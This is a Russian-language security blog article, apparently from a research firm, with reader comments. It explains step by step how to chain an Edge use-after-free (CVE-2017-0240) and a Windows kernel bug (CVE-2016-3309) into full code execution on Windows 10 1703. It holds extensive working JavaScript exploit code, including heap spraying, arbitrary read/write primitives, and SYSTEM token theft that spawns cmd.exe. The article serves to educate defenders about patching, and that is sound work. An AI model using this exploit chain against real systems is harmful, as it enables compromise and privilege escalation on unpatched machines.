Эксплуатация Microsoft Edge от CVE до RCE на Windows 10

    Intro


    В рамках данной статьи мы достаточно подробно рассмотрим процесс написания эксплоита под уязвимость в Microsoft Edge, с последующим выходом из песочницы. Если вам интересно узнать, как выглядит этот процесс, то welcome под кат!


    Введение


    На последнем Pwn2Own 2019 в Монреале в категории браузеры был продемонстрирован эксплоит для взлома Microsoft Edge. Для этого было использовано две уязвимости: double free в ренедере и логическая уязвимость для выхода из песочницы. Эти две уязвимости были недавно закрыты и присвоены соотвествующие CVE: CVE-2019-0940 и CVE-2019-0938. Подробнее об уязвимостях можно прочитать в блоге: Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Part 1 и Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). Part 2.


    В рамках нашей статьи мы хотим показать процесс написания подобного эксплоита и то, сколько нужно времени и ресурсов на это на примере того же Microsoft Edge на Windows 10 с помощью CVE-2017-0240 и CVE-2016-3309. Одним из отличий будет то, что, если в эксплоите, продемонстрированном на Pwn2Own, для выхода из песочницы использовалась логическая уязвимость, то в нашем сценарии для выхода из песочницы будет использована уязвимость в ядре Windows 10. Как показывают патчи от Microsoft, уязвимостей в ядре находится куда больше, чем уязвимостей в реализации песочницы. В итоге, такую цепочку уязвимостей встретить намного вероятнее, и её будет полезно знать сотрудникам ИБ в компаниях.


    Исходные данные


    В данной статье будет рассмотрен процесс написания 1-day эксплойта для браузера Microsoft Edge. Будет эксплуатироваться CVE-2017-0240. Первый этап эксплуатации будет производиться на основе материалов из источника [1], мы получим arbitrary address read/write примитив, а также познакомимся с различными техниками, которые могут быть полезны при эксплуатации подобных уязвимостей. Далее будет знакомство с инструментом pwn.js, который поможет получить вызов произвольных функций на основе произвольного чтения и записи, также будут рассмотрены различные mitigations и способы их обхода. На последнем этапе будет произведена эксплуатация уязвимости ядра Windows CVE-2016-3309 для повышения привилегий, обхода ограничений AppContainer и получения полного контроля над атакуемой машиной.


    Эксплуатация будет проводиться на стенде c ОС Microsoft Windows 10 Pro 1703 (10.0.15063) и браузером Microsoft Edge (40.15063.0.0).


    Шаг 1. Получение arbitrary address read/write примитива


    Описание уязвимости и получение OOB


    Уязвимость типа use-after-free присутствует в методе copyFromChannel объекта Audio​Buffer.


    AudioBuffer — это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом AudioContext.decodeAudioData(), или из исходных данных с помощью метода AudioContext.createBuffer(). Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в AudioBufferSourceNode.

    В презентации The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 приведен подробный анализ уязвимости и патча. При вызове метода copyFromChannel происходит копирование содержимого канала аудио-буфера в буфер destination, указанный первым аргументом. Метод также принимает номер канала (channelNumber) и смещение в аудио-буфере (startInChannel), начиная с которого необходимо производить копирование. Перед непосредственным копированием данных в destination в функции CDOMAudioBuffer::Var_copyFromChannel происходит кеширование буфера destination (адрес и размер буфера сохраняются в локальные переменные функции на стеке) и преобразование значений объектов channelNumber и startInChannel к типу Int, для чего происходит вызов метода valueOf преобразуемых объектов. Уязвимость заключается в том, что закешированный буфер может быть освобожден в момент преобразования типов в переопределенном методе valueOf объекта. Для проверки воспользуемся следующим кодом:


    // буфер, который впоследствии будет освобожден
    var t2 = new Float32Array(0x20000);
    var ta = new Uint8Array(t2.buffer);
    for (i=0;i<t2.length;i++)
        t2[i] = 0x66;
    
    var myctx = new AudioContext();
    var audioBuf = myctx.createBuffer(1, 0x25, 22050);
    
    // заполним содержимое аудио-буфера для наглядности
    var t = audioBuf.getChannelData(0);
    var ta2 = new Uint8Array(t.buffer);
    for(i=0;i<ta2.length;i++)
        ta2[i]=0x55;
    
    // создаем объект с переопределенным valueOf
    var obj = {
        valueOf: function () {
    
            // освобождаем буфер
            var worker = new Worker('worker.js');
            worker.postMessage(0, [t2.buffer]);
            worker.terminate();
            worker = null;
    
            // ожидание освобождения буфера
            sleep(1000);
    
            return 0;      
        }
    };
    
    // триггерим уязвимость
    audioBuf.copyFromChannel(t2, obj, 0);

    Для освобождения буфера в данном коде используется технология Web Workers. Создав пустой Worker, мы можем отправить ему сообщение с помощью метода postMessage. Второй необязательный аргумент transfer данного метода принимает массив Transferable-объектов (ArrayBuffer, MessagePost или ImageBitmap), права на объект будут переданы в Worker и объект более не будет доступен в текущем контексте, благодаря чему может быть удален. После этого происходит вызов sleep — функция, обеспечивающая временную остановку выполнения программы (реализуется самостоятельно). Это необходимо для того, чтобы система сборки мусора (GC, Garbage Collector) успела освободить буфер, права на который были переданы.


    Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя XMLHttpRequest (хотя атрибуты responseXML и channel всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот).

    Запустив данный код в Edge под отладчиком, можно получить следующее падение.


    Step 01 crash


    В результате вызов copyFromChannel пытается копировать содержимое аудио-буфера в неалоцированную область памяти. Для эксплуатации уязвимости необходимо добиться выделения в этой области памяти каких-либо объектов. В данном случае отлично подойдет сегмент массива.


    Массивы в Chakra (JS-движок, используемый в браузере Edge) устроены следующим образом: объект массива имеет фиксированный размер, сами указатели на объекты массива (или значения, в случае IntArray) хранятся в отдельной области памяти — сегменте, указатель на который содержится в объекте массива. Заголовок сегмента содержит различную информацию, в том числе размер сегмента, который соответствует размеру массива. Размер массива также присутствует и в самом объекте массива. Схематично это выглядит следующим образом:


    Array structure


    Таким образом, если нам удастся выделить сегмент массива в ранее освобожденном пространстве, то мы сможем перезаписать заголовок сегмента массива содержимым аудио-буфера. Для этого модифицируем код выше, добавив в следующие строки после sleep(1000);:


    ...
    
            /* Для повышения вероятности захватить интересующий нас сегмент массива,
            создаем большое их количество. Глобальный массив arr необходим для
            дальнейшего обращения созданным далее массивам */
            arr = new Array(128);
            for(var i = 0; i < arr.length; i++)
            {
                arr[i] = new Array(0x3ff0);
                for(var j = 0; j < arr[i].length; j++)
                    arr[i][j] = 0x30303030;
            }
    
    ...

    Размер массивов подобран таким образом, чтобы размер сегмента массива занимал целый сегмент кучи (минимальный неделимый участок памяти кучи, размер которого — 0x10000 байт). Запустим данный код, указав в качестве точки останова функцию memcpy (вызовов memcpy будет много, поэтому имеет смысл остановиться сначала на edgehtml!WebCore::AudioBufferData::copyBufferData), в которой происходило падение. Получим следующий результат:


    Step 02


    Отлично! Теперь мы можем перезаписать заголовок сегмента массива собственными значениями. Наиболее интересные значения в данном случае — размер массива, смещение которого мы можем увидеть на скриншоте выше. Изменим содержимое аудио-буфера следующим образом:


    ...
    
    var t = audioBuf.getChannelData(0);
    var ta2 = new Uint32Array(t.buffer);
    
    ta2[0] = 0;           ta2[1] = 0;
    ta2[2] = 0xffe0;      ta2[3] = 0;
    ta2[4] = 0;           ta2[5] = 0;
    ta2[6] = 0xfba6;      ta2[7] = 0;
    ta2[8] = 0;           ta2[9] = 0x7fffffff - 2;
    ta2[10] = 0x7fffffff; ta2[11] = 0;
    ta2[12] = 0;          ta2[13] = 0;
    ta2[14] = 0x40404040; ta2[15] = 0x50505050;
    
    ...

    Обратите внимание на значения ta2[14] и ta2[15] — они уже относятся не к заголовку сегмента, а к самим значениям массива. С помощью этого мы сможем определить нужный нам массив в глобальном массиве arr следующим образом:


    ...
    for(var i = 0; i < arr.length; i++)
    {
        if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050)
        {
            alert('Target array idx: ' + i);
            target_idx = i;
            target_arr = arr[i];
            break;
        }
    }

    Если в результате был обнаружен массив, первые два элемента которого были изменены определенным образом, то всё отлично. Теперь мы имеем массив, размер сегмента которого больше, чем он есть на самом деле. Остальные массивы при этом можно освободить.


    Тут необходимо вспомнить о том, что размер массива существует в двух сущностях: в объекте массива, где он остался неизменённым, и в сегменте массива, где мы его увеличили. Оказывается, что размер в объекте массива игнорируется, если код исполняется в JIT-режиме и был оптимизирован. Этого легко добиться, например, следующим образом:


    function arr_get(idx) {
        return target_arr[idx];
    }
    
    function arr_set(idx, val) {
        target_arr[idx] = val;
    }
    
    for(var i = 0; i < 0x3ff0; i++)
    {
        arr_set(i, arr_get(i));
    }

    После этого, с помощью функций arr_get и arr_set можно обращаться за границы массива (OOB, out-of-bound).


    Использование OOB для получения примитива чтения и записи по произвольному адресу


    В данном разделе рассмотрим технику, позволяющую добиться чтения и записи по произвольному адресу с помощью OOB. Метод, с помощью которого мы это получим, будет похож на тот, что используется в источнике [1], но будут также и значительные изменения.


    В используемой версии Edge блоки памяти для кучи выделяются последовательно, благодаря чему при выделении большого количества каких-либо объектов рано или поздно они окажутся после сегмента массива, за границы которого мы можем обращаться.


    Во-первых, это дает нам возможность считать указатель на виртуальную таблицу методов объектов (vftable), благодаря чему можно обойти рандомизацию адресного пространства процесса (ASLR). Но доступ к каким объектам поможет нам добиться произвольного чтения и записи? Для этого отлично подходит пара объектов DataView.


    Представление DataView предоставляет низкоуровневый интерфейс для чтения и записи многочисленных числовых типов в бинарном ArrayBuffer, независимо от порядка байтов платформы.

    Внутренняя структура DataView содержит указатель на буфер. Для чтения и записи по произвольному адресу мы, например, можем построить цепочку из двух DataView (dv1 и dv2) следующим образом: в качестве буфера dv1 указываем адрес dv2 с помощью обращения за пределы массива. Теперь с помощью dv1 мы можем изменять адрес буфера dv2, за счет чего и достигается произвольные чтение и запись. Схематично это можно изобразить следующим образом:


    Arbitrary address read/write


    Чтобы воспользоваться данным методом, необходимо научиться определять адреса объектов в памяти. Для этого существует следующая техника: необходимо создать новый Array, с помощью OOB сохранить его vftable и typeId (первые два 64-битных поля структуры) и присвоить первому элементу массива объект, адрес которого нас интересует. Затем, необходимо восстановить ранее сохраненные значения vftable и typeId. Теперь младшее и старшее двойное слово адреса объекта можно получить, обратившись к первому и второму элементу массива. Дело в том, что по умолчанию новый массив является IntArray, и в его сегменте хранятся 4-байтовые значения массива как они есть. При присвоении массиву объекта происходит преобразование массива в ObjectArray, и его сегмент используется для хранения адресов объектов. При преобразовании изменяются vftable и typeId. Соответственно, если мы восстановим исходные значения vftable и typeId, через элементы этого массива мы сможем обращаться напрямую к сегменту. Схематично описанный процесс можно изобразить следующим образом:


    Pointer leak


    Функция для получения адреса будет выглядеть следующим образом:


    function addressOf(obj) {
        var hdr_backup = new Array(4);
        // сохраняем vftable и typeId intarr_object
        for(var i = 0; i < 4; i++)
            hdr_backup[i] = arr_get(intarr_idx + i);
        intarr_object[0] = obj;
        // восстанавливаем vftable и typeId intarr_object
        for(var i = 0; i < 4; i++)
            arr_set(intarr_idx + i, hdr_backup[i]);
        // возвращаем младшее и старшее двойное слово адреса объекта
        return [intarr_object[0], intarr_object[1]];
    }

    Открытым вопросом остается создание необходимых объектов и поиск их с помощью OOB. Как было сказано ранее, при выделении большого количества объектов, рано или поздно они начнут выделяться после сегмента массива, за границы которого мы можем обращаться. Чтобы найти нужные объекты, необходимо просто пройтись по индексам за пределами массива в поиске нужных объектов. Т.к. все объекты одного типа располагаются в одном сегменте кучи, можно оптимизировать поиск и идти по сегментам кучи с шагом 0x10000, а проверять только несколько первых значений с начала каждого сегмента кучи. Чтобы идентифицировать объекты, можно установить им уникальные значения каких-либо параметров (например, для DataView это может быть byteOffset) или, используя уже известные константы в структуре объекта (например, в используемой версии Edge в IntArray по смещению 0x18 всегда находится значение 0x10005).


    Объединив все вышеописанные приемы, можно получить чтение и запись по произвольному адресу. Ниже представлен скриншот с чтением памяти объкетов DataView.


    Memory leak


    Шаг 2. Выполнение произвольных функций API


    На данном этапе мы получили возможность чтения и записи по произвольному адресу внутри процесса отображения контента Edge. Рассмотрим основные технологии, которые должны помешать дальнейшей эксплуатации приложения и средства их обхода. Мы уже писали небольшой цикл статей Браузеры и app specific security mitigation (часть 1, вводная, часть 2, Internet Explorer и Edge, часть 3, Google Chrome), но стоит учитывать, что разработчики не стоят на месте и добавляют в свои продукты новые средства защиты.


    Рандомизация адресного пространства (ASLR)


    ASLR (англ. address space layout randomization — «рандомизация размещения адресного пространства») — технология, применяемая в операционных системах, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур данных, а именно: образов исполняемого файла, подгружаемых библиотек, кучи и стека.

    Выше мы научились считывать адреса виртуальных таблиц классов, используя их, мы с легкостью можем вычислить базовый адрес модуля Chakra.dll, таким образом ASLR не представляет проблем для дальнейшей эксплуатации.


    Data execution protection (DEP, NX)


    Предотвращение выполнения данных (англ. Dáta Execútion Prevéntion, DEP) — функция безопасности, встроенная в Linux, Mac OS X, Android и Windows, которая не позволяет приложению исполнять код из области памяти, помеченной как «только для данных». Она позволит предотвратить некоторые атаки, которые, например, сохраняют код в такой области с помощью переполнения буфера.

    Один из способов обхода данной защиты — вызов VirtualAlloc с помощью ROP-цепочек. Но в случае Edge данный метод не сработает из-за ACG (см. ниже).


    Control Flow Guard (CFG)


    CFG — механизм защиты, нацеленный на то, чтобы усложнить процесс эксплуатации бинарных уязвимостей в пользовательских приложениях и приложениях режима ядра. Работа данного механизма заключается в валидации неявных вызовов (indirect calls), предотвращающей перехват потока исполнения злоумышленником (например, посредством перезаписи таблицы виртуальных функций)

    Данная технология контролирует только косвенные вызовы, например, вызовы методов из виртуальной таблицы функций объектов. Адреса возврата на стеке не контролируются, и этим можно воспользоваться для построения ROP-цепочек. В будущем использованию ROP/JOP/COP-цепочек может помешать новая технология Intel: Control-flow Enforcement Technology (CET). Данная технология состоит из двух частей:


    1. Shadow Stack (теневой стек) — используется для контроля адресов возврата и защищает от ROP-цепочек;
    2. Indirect Branch Tracking — метод защиты от JOP/COP-цепочек. Представляет из себя новую инструкцию ENDBRANCH, которой помечаются все валидные адреса переходов для call и jmp-инструкций.

    Arbitrary Code Guard (ACG)


    ACG — это технология, препятствующая динамической генерации кода (запрещено аллоцировать rwx-области памяти с помощью VirtaulAlloc) и его модификации (нельзя переотобразить имеющуюся область памяти как исполняемую)

    Данная защита, как и CFG, не предотвращает использование ROP-цепочек.


    AppContainer Isolation


    AppContainer — технология Microsoft, позволяющая изолировать процесс, запуская его в окружении-песочнице. Данная технология ограничивает доступ процесса к учетным данным, устройствам, файловой системе, сети, другим процессам и окнам и нацелена на минимизацию возможностей вредоносного ПО, получившего возможность выполнения произвольного кода в процессе.

    Данная защита значительно усложняет процесс эксплуатации. Из-за неё мы не можем вызвать сторонние исполняемые файлы или получить доступ к чувствительной информации пользователя в памяти или на дисках. Однако данную защиту можно преодолеть, используя уязвимости в реализации песочницы AppContainer или с помощью повышения привилегий через эксплуатацию уязвимостей в ядре ОС.


    Стоит отметить, что у Microsoft существует отдельная программа вознаграждений за техники обхода security mitigation-технологий. В программе указано, что повторное использование исполняемого кода (построение ROP-цепочек является разновидностью данной техники) не попадает под программу, т.к. является архитектурной проблемой.


    Использование pwn.js


    Из анализа всех технологий защиты следует, что для получения возможности исполнения произвольного кода необходимо обойти песочницу AppContainer. В данной статье мы опишем способ с использованием уязвимости ядра Windows. При этом мы можем использовать только JS-код и ROP-цепочки. Писать эксплойт для ядра, используя только ROP-цепочки, может быть очень сложно. Для упрощения этой задачи можно найти набор гаджетов, с помощью которого мы бы смогли вызывать необходимые методы WinAPI. К счастью, это уже реализовано в библиотеке pwn.js. С помощью неё, описав лишь функции read и write для произвольного чтения и записи, можно получить удобное API для поиска необходимых функций WinAPI и их вызова. Также pwn.js предоставляет удобный инструмент для работы с 64-битными значениями и указателями и инструменты для работы со структурами.


    Рассмотрим простой пример. На предыдущем этапе мы получили цепочку из двух связанных DataView. Для подготовки эксплойта необходимо создать следующий класс:


    var Exploit = (function() {
    
        var ChakraExploit = pwnjs.ChakraExploit;
        var Integer = pwnjs.Integer;
    
        function Exploit() {
            ChakraExploit.call(this);
    
            ...
            // Получение arbitrary address read/write с помощью уязвимости
            ...
    
            // DataView, с помощью которого будет производится чтение и запись
            this.dv = ...;
            // DataView, буфер которого указывает на this.dv
            this.dv_offset = ...;
            // Любой адрес внутри Chakra.dll, например, указатель на виртуальную таблицу
            var vtable = ...;
            this.initChakra(vtable);
        }
        Exploit.prototype = Object.create(ChakraExploit.prototype);
        Exploit.prototype.constructor = Exploit;
    
        Exploit.prototype.set_dv_address = function(lo, hi) {
            this.dv_offset.setInt32(0x38, lo, true);
            this.dv_offset.setInt32(0x3c, hi, true);
        }
    
        Exploit.prototype.read = function (address, size) {
            this.set_dv_address(address.low, address.high);
            switch (size) {
                case 8: return new Integer(this.dv.getInt8(0, true), 0, true);
                case 16: return new Integer(this.dv.getInt16(0, true), 0, true);
                case 32: return new Integer(this.dv.getInt32(0, true), 0, true);
                case 64: return new Integer(this.dv.getInt32(0, true),
                                            this.dv.getInt32(4, true), true);
            }
        }
        Exploit.prototype.write = function (address, value, size) {
            this.set_dv_address(address.low, address.high);
            switch (size) {
                case 8: this.dv.setInt8(0, value.low, true); break;
                case 16: this.dv.setInt16(0, value.low, true); break;
                case 32: this.dv.setInt32(0, value.low, true); break;
                case 64:
                    this.dv.setInt32(0, value.low, true);
                    this.dv.setInt32(4, value.high, true);
                    break;
            }
        }
        return Exploit;
    })();

    Использовать полученный класс очень легко, вот простейший пример для вызова MessageBoxA:


    function run() {
        with (new Exploit()) {
            //alert('Chakra: ' + chakraBase.toString(16));
            var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32);
            var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64);
            var hwnd = GetActiveWindow();
            var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0);
        }
    }

    В результате исполнения получим следующее сообщение:


    PWNED


    Шаг 3. Повышение привилегий и выход из песочницы с помощью уязвимости ядра


    На данном этапе мы научились выполнять произвольные вызовы WinAPI. Этого может быть достаточно для реализации эксплуатации уязвимостей ядра. Отличный пример подходящей уязвимости является CVE-2016-3309. Подробную информацию о ней можно найти в источниках [7] и [8], а в презентации по pwn.js [2] есть частичная реализация эксплойта, который основан на относительно новой технологии эксплуатации GDI-объектов. Познакомиться подробнее с данной технологией можно в источниках [9], [10] и [11]. В результате эксплуатации уязвимости можно получить примитив произвольного чтения и записи в пространстве ядра. Изучение самого процесса эксплуатации мы оставим на читателя, в этом помогут перечисленные выше источники. В данной статье рассмотрим лишь общие техники, позволяющие с помощью произвольного чтения и записи в пространстве ядра повысить привилегии процесса и обойти AppContainer, а также рассмотрим примеры реализации этих техник с помощью pwn.js. Конечной целью эксплуатации в данной статье будет открытие командного интерпретатора cmd.exe от имени пользователя SYSTEM.


    GDI — это интерфейс Windows для представления графических объектов и передачи их на устройства отображения, такие, как мониторы и принтеры.

    Итак, у нас получилось реализовать чтение и запись по произвольному адресу в пространстве ядра. JS-функции для чтения и записи 64-битных значений в ядре назовем kernel_read_64 и kernel_write_64, соответственно. Первым делом необходимо получить базовый адрес ядра Windows. В контексте эксплуатации уязвимости это можно сделать через объект типа BITMAP, адрес которого мы знаем. pwn.js предоставляет удобный интерфейс описания структур. Структуру BITMAP можно описать, например, так:


    var BITMAP = new StructType([
        ['poolHeader', new ArrayType(Uint32, 4)],
        // BASEOBJECT64
        ['hHmgr', Uint64],
        ['ulShareCount', Uint32],
        ['cExclusiveLock', Uint16],
        ['BaseFlags', Uint16],
        ['Tid', Uint64],
        ['dhsurf', Uint64],
        ['hsurf', Uint64],
        ['dhpdev', Uint64],
        ['hdev', Uint64],
        ['sizlBitmap', SIZEL],
        ['cjBits', Uint32],
        ['pvBits', Uint64],
        ['pvScan0', Uint64],
    ]);

    Поле Tid данной структуры хранит указатель на объект KTHREAD с контекстом текущего потока исполнения, который, в свою очередь, содержит адрес EmpCheckErrataList, с помощью которого можно определить базовый адрес ядра. Таким образом, для определения адреса ядра необходимо выполнить следующий код:


    ...
    var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8);
    var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr);
    /* g_config содержит различные смещения, специфичные для текущей версии ядра
    Для вычисления смещения empCheckErrataList в WinDbg в режиме отладки ядра необходимо выполнить следующую команду:
    ? nt!EmpCheckErrataList - nt */
    var ntoskrnl_base_address = nt_EmpCheckErrataList.sub(
            g_config.nt_empCheckErrataList_offset);
    ...

    Зная базовый адрес ядра, мы можем отключить ограничения AppContainer и повысить привилегии процесса. Для отключения ограничений AppContainer необходимо отчистить бит IsPackagedProcess из блока окружения процесса (Process Environment Block, PEB), что можно сделать не прибегая к эксплуатации уязвимости ядра. Также необходимо получить Access Token, в котором не будет признаков запуска приложения внутри AppContainer. В качестве такого токена можно взять Access Token системного процесса, там самым мы еще и повысим привилегии текущего процесса. Access Token идентифицирует пользователя и его привилегии, группу и другие данные доступа. Структура процесса в ядре EPROCESS содержит двусвязный список ActiveProcessLinks, с помощью которого можно перечислить все процессы. Указатель на PEB также можно получить из EPROCESS. Указатель на системный процесс можно получить из глобальной переменной PsInitialSystemProcess ядра, начиная с него, можно пройтись по всем процессам с помощью списка ActiveProcessLinks.


    В случае браузера Edge существует еще одна проблема: если процесс отображения контента не отвечает, то основной процесс Edge его завершит вместе со всеми дочерними процессами. По этой причине необходимо создавать новый процесс от имени другого процесса с привилегиями SYSTEM. Это может быть, например, winlogon.exe.


    Описанные выше техники можно реализовать с помощью pwn.js следующим образом:


    // Получение PEB текущего процесса
    var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size));
    var pinfo_sz = Uint64.Ptr.cast(malloc(8));
    NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz);
    var peb = pinfo.PebBaseAddress;
    /* Переключаем значение бита IsPackagedProcess для обхода ограничений
    В данном случае peb имеет тип char * */
    var bit_field = peb[3];
    bit_field = bit_field.xor(1 << 4);
    peb[3] = bit_field;
    
    /* Смещения полей структур в текущей версии ядра также можно получить
    с помощью WinDbg в режиме отладки ядра. Для этого необходимо выполнить следующее:
    dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks
    В результате будут перечислены смещения всех перечисленных в аргументе полей */
    var ActiveProcessLinks = system_eprocess.add(
            g_config.ActiveProcessLinksOffset);
    var current_pid = GetCurrentProcessId();
    var current_eprocess = null;
    var winlogon_pid = null;
    // winlogon.exe - название процесса, который будет родительским для cmd.exe
    var winlogon = new CString("winlogon.exe");
    var image_name = malloc(16);
    var system_pid = kernel_read_64(system_eprocess.add(
                g_config.UniqueProcessIdOffset));
    while(!current_eprocess || !winlogon_pid)
    {
        var eprocess = kernel_read_64(ActiveProcessLinks).sub(
                g_config.ActiveProcessLinksOffset);
        var pid = kernel_read_64(eprocess.add(
                    g_config.UniqueProcessIdOffset));
    
        // Копируем название просматриваемого процесса из пространства ядра
        // пользовательское пространство
        Uint64.store(
            image_name.address,
            kernel_read_64(eprocess.add(g_config.ImageNameOffset))
        );
        Uint64.store(
            image_name.address.add(8),
            kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8))
        );
    
        // Ищем процесс winlogon.exe и текущий процесс
        if(_stricmp(winlogon, image_name).eq(0))
        {
            winlogon_pid = pid;
        }
        if (current_pid.eq(pid))
        {
            current_eprocess = eprocess;
        }
    
        // Перемещаемся к следующему процессу в двусвязном списке
        ActiveProcessLinks = eprocess.add(
                g_config.ActiveProcessLinksOffset);
    }
    
    // Получение токена системного процесса
    var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset));
    
    // Подготовка структур данных для запуска нового процесса в качестве
    // дочернего процесса winlogon.exe
    var pi = malloc(24);
    memset(pi, 0, 24);
    var si = malloc(104 + 8);
    memset(si, 0, 104 + 8);
    Uint32.store(si.address, new Integer(104 + 8));
    var args = WString("cmd.exe");
    
    var AttributeListSize = Uint64.Ptr.cast(malloc(8));
    InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize);
    var lpAttributeList = malloc(AttributeListSize[0]);
    Uint64.store(
        si.address.add(104),
        lpAttributeList
    );
    InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize)
    var winlogon_handle = Uint64.Ptr.cast(malloc(8));
    
    // Запись системного токена в текущий процесс
    kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token);
    
    /* Обладая правами системного процесса и отключив ограничения AppContainer,
    мы можем получить дескриптор запущенного процесса winlogon.exe и запустить
    новый процесс в качестве дочернего процесса winlogon.exe */
    winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid);
    UpdateProcThreadAttribute(lpAttributeList, 0,
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
            winlogon_handle, 8, 0, 0);
    CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi);

    Результат выполнения полной цепочки эксплойтов:


    Final


    На нашем YouTube вы можете посмотреть видео о том, как выйти из песочницы Microsoft Edge.


    Итог


    Немного цифровых фактов:


    • Человеку, ранее не знакомому с эксплуатацией браузера Edge и ядра Windows, потребовалось около 13 часов на то, чтобы разобраться и написать эксплойт для уязвимости CVE-2017-0240 используя материалы, перечисленные в статье. Примерно столько же времени потребовалось для эксплуатации ядерной уязвимости CVE-2016-3309.
    • Эксплойт был полностью написан на JS
    • Всего в эксплойте 666 строчек кода на JS
    • Полезная нагрузка эксплойта: вызов cmd.exe от имени пользователя SYSTEM, но может быть запущен любой вредоносный код

    Теперь мы думаем, что у вас может сложиться некоторая картина о том, как злоумышленники на основании той же информации из патчей могут быстро создать эксплойт под интресующее их ПО. А учитывая, что человек может специализироваться на конкретном ПО, это займет у него еще меньше времени и сил. Поэтому не забывайте о своевременном обновлении своего ПО.


    Материалы


    1. Liu Jin — The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
    2. Andrew Wesie, Brian Pak — 1-Day Browser & Kernel
      Exploitation
    3. Natalie Silvanovich — The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
    4. Natalie Silvanovich — Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
    5. phoenhex team — cve-2018-8629-chakra.js
    6. Quarkslab — Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
    7. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
    8. Siberas — Kernel Exploitation Case Study — "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
    9. Saif El-Sherei — Demystifying Windows Kernel Exploitation by Abusing GDI Objects
    10. Diego Juarez — Abusing GDI for ring0 exploit primitives
    11. Nicolas A. Economou — Abusing GDI for ring0 exploit
      primitives: Evolution
    12. pwn.js
    • +39
    • 7,4k
    • 9
    Digital Security
    407,21
    Безопасность как искусство
    Поделиться публикацией

    Комментарии 9

      0
      Человеку, ранее не знакомому с эксплуатацией браузера Edge и ядра Windows, потребовалось около 13 часов на то, чтобы разобраться и написать эксплойт для уязвимости CVE-2017-0240 используя материалы, перечисленные в статье.

      Суперхака прям.
        0
        sleep — функция, обеспечивающая временную остановку выполнения программы (реализуется самостоятельно).

        O_O синхронный sleep на браузерном js? Но как ??? valueof же не сделать асинхронным, или можно?
          +4
          Как-то так:
          function sleep(milliseconds) {
            const expire = Date.now() + milliseconds;
          
            while (Date.now() < expire) {}
          }
          
            +2
            Хмм… и правда работает. Спасибо.
          +1
          а можно ли где-то скачать указанную версию edge?
            0
            Указанную версию браузера Edge можно получить, установив сборку Windows 10 1703 без обновлений
              +1
              спасибо, удалось воспроизвести креш, появился другой вопрос, где взять символы для edgehtml? Похоже на мс сервере нет нужного pdb-шника:
              SYMSRV: UNC: c:\symbols\edgehtml.pdb\A4A39BF94DFA29F279DE8863220B69E41\edgehtml.pdb - path not found
              SYMSRV: UNC: c:\symbols\edgehtml.pdb\A4A39BF94DFA29F279DE8863220B69E41\edgehtml.pd_ - path not found
              SYMSRV: UNC: c:\symbols\edgehtml.pdb\A4A39BF94DFA29F279DE8863220B69E41\file.ptr - path not found
              SYMSRV: HTTPGET: /download/symbols/edgehtml.pdb/A4A39BF94DFA29F279DE8863220B69E41/edgehtml.pdb
              SYMSRV: HttpQueryInfo: 80190194 - HTTP_STATUS_NOT_FOUND
              SYMSRV: HTTPGET: /download/symbols/edgehtml.pdb/A4A39BF94DFA29F279DE8863220B69E41/edgehtml.pd_
              SYMSRV: HttpQueryInfo: 80190194 - HTTP_STATUS_NOT_FOUND
              SYMSRV: HTTPGET: /download/symbols/edgehtml.pdb/A4A39BF94DFA29F279DE8863220B69E41/file.ptr
              SYMSRV: HttpQueryInfo: 80190194 - HTTP_STATUS_NOT_FOUND
              SYMSRV: RESULT: 0x80190194
              DBGHELP: C:\Windows\SYSTEM32\edgehtml.pdb - file not found
              DBGHELP: edgehtml.pdb - file not found
              DBGHELP: edgehtml - export symbols

              ************* Symbol Loading Error Summary **************
              Module name Error
              edgehtml The system cannot find the file specified
              The SYMSRV client failed to find a file in the UNC store, or there
              is an invalid UNC store (an invalid path or the pingme.txt file is
              not present in the root directory), or the file is present in the
              symbol server exclusion list.

              символы настроены на srv*c:\symbols*https://msdl.microsoft.com/download/symbols корректно т.к. для некоторых других либ качает:
              SYMSRV: UNC: c:\symbols\winhttp.pdb\013B00E572534989CA2DB49F19F180471\winhttp.pdb - path not found
              SYMSRV: UNC: c:\symbols\winhttp.pdb\013B00E572534989CA2DB49F19F180471\winhttp.pd_ - path not found
              SYMSRV: UNC: c:\symbols\winhttp.pdb\013B00E572534989CA2DB49F19F180471\file.ptr - path not found
              SYMSRV: HTTPGET: /download/symbols/winhttp.pdb/013B00E572534989CA2DB49F19F180471/winhttp.pdb
